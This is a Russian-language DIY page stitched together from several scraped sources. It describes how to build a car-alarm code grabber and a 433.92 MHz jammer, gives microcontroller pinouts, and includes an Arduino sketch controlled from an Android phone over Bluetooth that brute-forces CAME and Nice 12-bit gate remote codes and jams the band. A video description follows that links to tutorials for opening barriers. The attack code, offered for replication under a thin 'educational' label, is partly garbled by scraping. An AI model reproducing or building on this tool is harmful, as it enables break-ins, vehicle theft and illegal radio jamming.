Кодграббер своими руками андроид

Как собственноручно создать кодграббер

Создание данного устройства носит учебные цели, помогая разобраться в принципах функционирования охранных систем автосигнализации. Собрав кодграббер своими руками, вы получите само устройство, блок-анализатор и глушитель эфирного сигнала на частоте 433,92 MHz в одном корпусе.
Управление устройством осуществляется через текстовое меню, отображаемое на жидкокристаллическом дисплее. Для запуска прибора потребуется введение шестибайтного кода, каждая из ячеек которого принимает значение от 0 до F (шестнадцатеричная система исчисления). В случае неверного введения пароля на экране появится тестовое уведомление «Ошибка». Общее число комбинаций пароля: 2563 = 16777216, поскольку сообщение сохраняется на дисплее в течение некоторого времени, угадывание пароля методом простого подбора практически невозможно.

После введения правильного кода пользователь попадает в рабочее меню. Оно содержит три пункта, привязанные к основным режимам работы устройства: «кодграббер», «анализ», «помеха». Для навигации между ними, а также изменения их режима работы можно воспользоваться джойстиком, состоящим из пяти сгруппированных клавиш. Для выбора необходимого пункта меню нужно нажать на центральную кнопку.

1. Режим «Помеха»
В режиме «Помеха» инициируется подавление радиосигнала, иными словами, это глушилка автосигнализации своими руками, базовая частота модуляции которой может изменяться с помощью клавиш «вверх» или «вниз». Изначально данный показатель установлен на уровне 433,92 MHz, при этом шаг его регулирования может варьироваться в пределах от 50 Hz (по умолчанию) до 600 Hz. Чтобы выйти обратно в главное меню, необходимо нажать одну из боковых клавиш.

2. Режим «Анализ»
Вхождение в данный режим аналогично предыдущему – наводим курсор на соответствующий пункт меню и жмем центральную кнопку. Сразу же после запуска анализатора и его инициализации происходит сканирования эфира. Устройство ожидает прохождение через него соответствующего пакета с данными, этот процесс сопровождается анимацией – с низу вверх начнут проходить надписи:

Источник

Кодграббер своими руками андроид

Кодграббер, анализатор, глушилка

Чт, 31.12.2015, 10:21 | Сообщение # 1
LED

Хочу предложить проект для повторения. Это комплекс, который содержит в себе кодграббер, пакета-анализатор и циничную глушилку, которая валит весь эфир на 433.92мГц. Проект выполнен на микроконтроллере PIC18F252 и LCD 3410(3310,5110).
P.S (все файлы для создания в архиве)

Комплекс предназначен для исследовательских целей, он позволит понять кое какие принципы работы охранных систем, также поможет разоблачить не добросовестных производителей авто-сигнализаций. Давайте я по подробней опишу, как все работает.

Начну с меню кодграббера, при включении прибора, на дисплее появится надпись «ВВЕДИТЕ КОД». Внизу мы увидим поле для его заполнения, курсор будет установлен на первую ячейку. Код состоит из 6 ячеек, вводимое значение будет от 0 до F. Думаю, для продвинутых юзеров не стоит объяснять, что пароль трех байтный, а это 256 умноженное на 256 и умноженное на 256 комбинаций, всего 16777216 комбинаций. В случаи неверного ввода, загорится надпись «ОШИБКА», которая будет моргать, после некоторого времени, устройство перейдет в запрос кода. По этому, кроме вас ни кто кодграббер не включит. После ввода пароля, загорится надпись «КОД ПРИНЯТ» и наш адрес «WWW.PHREAKERCLUB.COM». Далее через несколько секунд, включится основное меню.
Меню будет содержать три закладки «КОДГРАББЕР» «АНАЛИЗАТОР» «ПОМЕХА» и логотип сайта. Нужную функцию мы будем выбирать джостиком-курстором, который будет сделан из пяти кнопок. Перемещая кнопкой стрелки указатели, мы выбираем любую из трех функций. Чтобы включить выбранную функцию, мы нажимаем кнопку в середине джойстика.
Например, мы выбрали функцию «ПОМЕХА», на дисплее загорится надпись «РЕЖИМ ПОМЕХИ» «ЧАСТОТА 433.92» «МОДУЛЯЦИЯ» и «50 ГЦ». Чтобы переключить частоту модуляции глушения эфира, нужно джойстиком нажать вниз, шаг регулировки помехи 50Гц, ее можно менять от 50Гц до 600Гц. Что бы выйти в основное меню, можно нажать любую из боковых кнопок джойстика, левую или правую.
Режим анализатора включается аналогично, просто наводим стрелки и жмем джойстик в середину. После входа в это меню, нас ждет небольшая анимация, сверху в низ начнут появляться знакомые вам надписи,

Приемник PORTC,5 -16 нога контроллера.
Передатчик PORTC,6 -17 нога контроллера.

Показать скрытое содержимое
Центральная кнопка джойстика PORTB,0 — 21нога контроллера.
Вверх PORTB,1 – 22 нога контроллера.
Вниз PORTB,3 – 24 нога контроллера.
Вправо PORTB,2 – 23 нога контроллера.
Влево PORTB,4 – 25 нога контроллера.

Питание LCD только от контроллера.
Питание LCD PORTC,0 — 11 нога контроллера.
Ресет LCD PORTC,1 — 12 нога контроллера.
Линия DC в LCD PORTC,2 -13 нога в контроллере.
Линия данных в LCD PORTC,3 – 14 нога в контроллере.
Линия тактирования в LCD PORTC,4 -15 нога в контроллере.

Сама Схема:



Печатная плата в Slayout’е прямиком в корпус нокии 3310

Источник

Android + Кодграббер

Сегодня я хочу предложить фрикерскому сообществу приложение KG Control для android смартфонов, при помощи которого можно будет управлять грабом без проводов, только по средствам bluetooth.

Нам понадобятся следующие вещи:
— смартфон с Android’ом 4.0.3 и выше.
— Arduino Nano (ATmega328)
— блютус модуль(например, я использовал HC-05)
— приёмник и передатчик
— светодиоды и резисторы

Функционал приложения:
— Перебор Came12
— Перебор Nice12
— Глушилка 433

Это, скажем так, демо версия — без приёма сигналов от авто. Посмотрим, если народ будет заинтересован этой темой, то прикрутить приём от авто не составит больших проблем. Честно говоря, по этой причине я даже иконки и значки в стиле фрикер клаб не стал делать. Интерфейс интуитивно понятен, думаю тут ничего пояснять не стоит. Тесты проводились на моей siny xperia zr, android 4.4 kitkat.

Алгоритм работы следующий. Вначале вводим mac-адрес вашего блютус модуля(его можно будет узнать при помощи приложения bluetooth terminal(а в последствии и при помощи нашего). Как только вбили mac-адрес. приложение синхронизируется с платой и появляются кнопки came, nice и глушак. Если же этого не произошло рекомендуется перезапустить приложение и «передёрнуть» питание на плате. Либо проблема в дальности. Вообще, на андроиде практически не возможно узнать произошло сопряжение с каким-либо устройством или нет, поэтому возникают проблемы с отслеживанием подключения. В будущем, если народ заинтересуется, можно будет подумать над этим более скрупулёзно. Итак, например, мы нажали кнопку came соответственно у нас запустился перебор, на время перебора не нужно всё время держать телефон с включенной подсветкой. Можно её выключить и положить смарт в карман, например. Потом можно периодически проверять состояние перебора. Телефон автоматически вновь синхронизируется с платой и продолжит получать данные. Так же для проверки/обновления синхронизации вручную, присутствует кнопочка в левом нижнем углу.
P.S. Не хочу повторяться, но для «особенных» людей ещё раз повторю: если что-то пошло не так, например, вы подали команду перебора, а светодиод не мигает, или просто команда прошла в «холостую», то следует перезагрузить и приложение и плату, либо уменьшить расстояние между платой и смартом, либо поиграться с длинной антенны на блютус модуле.

Железо:

Паяем, собираем, можно при желании спроектировать плату, которая, как мне кажется, поместиться в карман и будет размером чуть меньше пачки сигарет. У меня делать плату нужды особой не было, поэтому я сделал это на «слепыше». Ношу я это дело в портфеле. Питание беру на прямую от USB кабеля от ноутбука. У меня получилось вот так, пока меня всё устраивает:

(Не обращайте на лишние резисторы и стабилизаторы, остались с другого проекта, мне было лень их выпаивать))))))
Из опытов я понял, что припаивать антенну к блютус модулю всё-таки стоит, так как без неё случаются осечки при приёме и передаче сигналов. Длинну антенны можете посмотреть на фото выше. Лучше брать немного подлиннее, чем у меня. Радиус действия от одного конца комнаты до другого, дальше не тестировал. Кстати, блютус модуль после 15-20 минут работы начинает немного греться, но прикручивать радиатор пока смысла не вижу.
Отдельное внимание хотел бы уделить пинам блютус модуля. 32-й пин — для светодиода, показывающего статус соединения: горит, если установлено соединение с другим Bluetooth-устройством, 31- й пин — для светодиода, показывающего состояние модуля: светодиод мигает с разной скоростью в зависимости от того, чем занят модуль — опросом Bluetooth-устройств, ожиданием или чем-то ещё. Соответственно при желании, можно прицепить светодиоды и к ним.

Программа для ардуины бралась из паблика. Доработки очень приветствуются. Но при доработки не стоит удалять строки, которые помечены комментариями, например:

Так смартфон получает данные для progressbar’а. Так же не рекомендую трогать буквы в строках: if(incomingByte == ‘Z’). При помощи этого алфавита происходит общение платы и смарта. То есть не трогайте всё что посылается по UART’у.

Собственно сама программа:

#define txPin 8
#define rxd 4
#define BT 3
#define LED 12

unsigned int came_sost = 0;
unsigned int nice_sost = 0;
unsigned int glush_sost = 0;
int var=0,i,ii=0,x,y;;
char incomingByte; // входящие данные

void SendBit(byte b) <
if (came_sost == 1) <
x = 640;
y = 320;
> else <
x = 1400;
y = 700;
>
if (glush_sost == 1) <
x = 5;
y = 5;
>
if (b) <
digitalWrite(txPin, LOW); // 1
delayMicroseconds(x);
digitalWrite(txPin, HIGH);
delayMicroseconds(y);
>
else <
digitalWrite(txPin, LOW); // 0
delayMicroseconds(y);
digitalWrite(txPin, HIGH);
delayMicroseconds(x);
>

void Send_preambula(int preambula) <
digitalWrite(txPin, HIGH);
delayMicroseconds(preambula);
digitalWrite(txPin, LOW);
>

void SendPerebor(long Code,unsigned int preambula,unsigned int pilot) <
for (int i=0; i 0 ;i—) <
SendBit(bitRead(Code,i-1)); // побитово перебираем и посылаем код
>
digitalWrite(txPin, LOW);
delayMicroseconds(pilot);
>
>

void nicebrute() <
while(1) <
SendPerebor(var, 700, 25200);
var=var+1;
if (var%204 == 0) <
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
>
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096) <
var=0;
break;
>
>
>

void camebrute() <
while(1) <
SendPerebor(var, 320, 11520);
var=var+1;
if (var%204 == 0) < //не удалять
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
>
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096) <
var=0;
break;
>
>
>

void initPins(void) <
pinMode(rxd,INPUT);
>

void printhex(byte val) <
if(val 0) < //если пришли данные
incomingByte = Serial.read(); // считываем байт
if (incomingByte == ‘C’) <
came_sost = 1;
camebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println(‘C’); // и выводим обратно сообщение
>

if(incomingByte == ‘Z’) Serial.println(‘Z’);
Serial.println(‘Z’);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
if (came_sost == 1) <
came_sost = 0;
Serial.println(‘C’);
Serial.println(‘C’);
>
if (nice_sost == 1) <
nice_sost = 0;
Serial.println(‘N’);
Serial.println(‘N’);
>
>

if (incomingByte == ‘N’) < //nice
nice_sost = 1;
nicebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println(‘N’); // и выводим обратно сообщение
>

if(incomingByte == ‘G’) digitalWrite(LED, HIGH);
glush_sost = 1;
while (glush_sost) <
if (Serial.available() > 0) <
incomingByte = Serial.read();
if(incomingByte == ‘H’) <
glush_sost = 0;
>
>
SendPerebor(var, 10, 10);
var=var+1;
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 10) <
var=0;
>
>
>

if(incomingByte == ‘H’) <
digitalWrite(LED, LOW);
glush_sost == 0;
Serial.println(‘Z’);
delay(5);
Serial.println(‘Z’);
>
>
>

Планы на будущее, если люди заинтересуются этим проектом:
— если будет спрос, то прикрутить приём от авто
— сохранение ключей, в шифрованном виде(на смарте и на ПК)
— сделать миниатюрную печатную плату с SMD деталями

Источник

Считывание кода брелока от шлагбаума с помощью смартфона

Видеоуроки ардуино для начинающих.
Приложение вот: https://play.google.com/store/apps/details?id=Qwerty.BluetoothTerminal
Список компонентов:
Ардуино нано: http://goo.gl/lGiXOK
Блютуз модуль: http://s.click.aliexpress.com/e/neIiubeyb
433MHz RF Receiver http://s.click.aliexpress.com/e/QNfaqVNnY
Cмотрите также:
Пульты, ключи.
Сканер автосигнализаций из ардуино нано.https://www.youtube.com/watch?v=rnjYBvuwouQ
Как открыть любой шлагбаум при помощи ардуино https://www.youtube.com/watch?v=8b5O8hjg1Is
Глушилка пультов и брелоков на 433 МГц на ардуино уно. https://www.youtube.com/watch?v=7nUjZZiVstE
как сделать универсальный ключ к домофону при помощи ардуино нано https://www.youtube.com/watch?v=e9aw9biaDqk
кодграббер своими руками на ардуино нано https://www.youtube.com/watch?v=4ar-hC9AXEI
Как управлять всеми шлагбаумами CAME со смартфона при помощи ардуино.https://www.youtube.com/watch?v=dg6Dayx-dpI
Машинки
Как сделать пульт для радиоуправляемой машинки из ардуино https://www.youtube.com/watch?v=cBVQ7ff1Dnk
Как сделать пульт для радиоуправляемой машинки из ардуино 2 https://www.youtube.com/watch?v=L-zW0i_aHrA
Как сделать андроид приложение для управления блютуз машинкой https://www.youtube.com/watch?v=nKrlYnXV51o
Переделка RC-машинки в смарт-машинку. https://www.youtube.com/watch?v=dp2hmvjw27c
Как сделать радиоуправляемую (блютуз) машинку https://www.youtube.com/watch?v=oUlZMHpxeTs
Тест пальчиковых АКБ. Радиоуправляемая машинка: гонка на выносливость.https://www.youtube.com/watch?v=f2gBWNbUtTQ
Тест пальчиковых АКБ №2 https://www.youtube.com/watch?v=sfvJf8NTVWM
Радиоуправляемая машина 1 https://www.youtube.com/watch?v=9P8IYfRMF24
Как сделать радиоуправляемую (блютуз) машинку своими руками https://www.youtube.com/watch?v=-nWi6t9diCA
Радиоуправляемая блютуз машинка своими руками на ардуино уно.https://www.youtube.com/watch?v=Qcvr8Duux54
Как сделать приложение для блютуз машинки на ардуино уно https://www.youtube.com/watch?v=-Ip5rYeEpKY
Велосипед
Подсветка для велосипеда с изменяющейся яркостью. в разобранном и собранном виде https://www.youtube.com/watch?v=R1-iP05WnIE
Подсветка для велосипеда с плавной регулировкой яркости https://www.youtube.com/watch?v=QYfd5PAp5po
подсветка для велосипеда https://www.youtube.com/watch?v=aXrmf2yAzaM
подсветка для велосипеда 2 https://www.youtube.com/watch?v=O4O0wliC1eg
LED Фонарь для велосипеда в стиле гибдд. Проверка вечером.https://www.youtube.com/watch?v=JB4L06uouOE
Подсветка для велосипеда. Установка на велосипед и проверка яркости. Вопрос с ПДД https://www.youtube.com/watch?v=s3RdLc2Fzlo
Розовый фонарь для велосипеда своими руками.https://www.youtube.com/watch?v=WojJATd1YWA
Подсветка для велосипеда из rgb модуля и ардуино нано https://www.youtube.com/watch?v=zBjSMYJY6_0
Авто
1.Подключение планшета к ВАЗ 2113 https://www.youtube.com/watch?v=06OFiopejU4
2.Установка планшета в автомобиль ВАЗ 2113 https://www.youtube.com/watch?v=3zA5RR-Nnoo
3.Как установить планшет в авто своими силами.https://www.youtube.com/watch?v=QagJtmPf6mo
4.Подключаем планшет к авто с помощью arduino.https://www.youtube.com/watch?v=W96D2ArDojw
5.Делаем приложение для управления авто в App Inventor 2.https://www.youtube.com/watch?v=MFEZsTpi43Y
Установка планшета в ваз 2114 https://www.youtube.com/watch?v=9-pkTtYjcj4
Мои статьи на geektimes.ru
Все уроки по ардуино https://geektimes.ru/post/273858/
Онлайн курс по ардуино на базе простого стартового набора https://geektimes.ru/post/279860/
Робот-пылесос на ардуино https://geektimes.ru/post/259312/
Простая Bluetooth машинка на Arduino https://geektimes.ru/post/255442/
Мои статьи на habrahabr.ru
Переделка RC-машинки в смарт-машинку при помощи ардуино https://habrahabr.ru/post/275979/
Среда разработки andriod приложений App Inventor 2 и ее применение в сообществе Arduino https://habrahabr.ru/post/273269/
DIY управление телевидением Дом.ru с планшета при помощи ардуино https://habrahabr.ru/post/254185/
DIY термометр для «Инстаграм» на arduino nano https://habrahabr.ru/post/253995/
Bluetooth пульт для телевизора на arduino https://habrahabr.ru/post/253471/
Bluetooth вольтметр на базе arduino https://habrahabr.ru/post/253175/
Мой сайт
Онлайн курс по ардуино и робототехнике. http://www.arduinorobots.ru

Видео Считывание кода брелока от шлагбаума с помощью смартфона канала Сергей Малязин

Источник

Читайте также:  Микро wifi камера своими руками
Оцените статью
Своими руками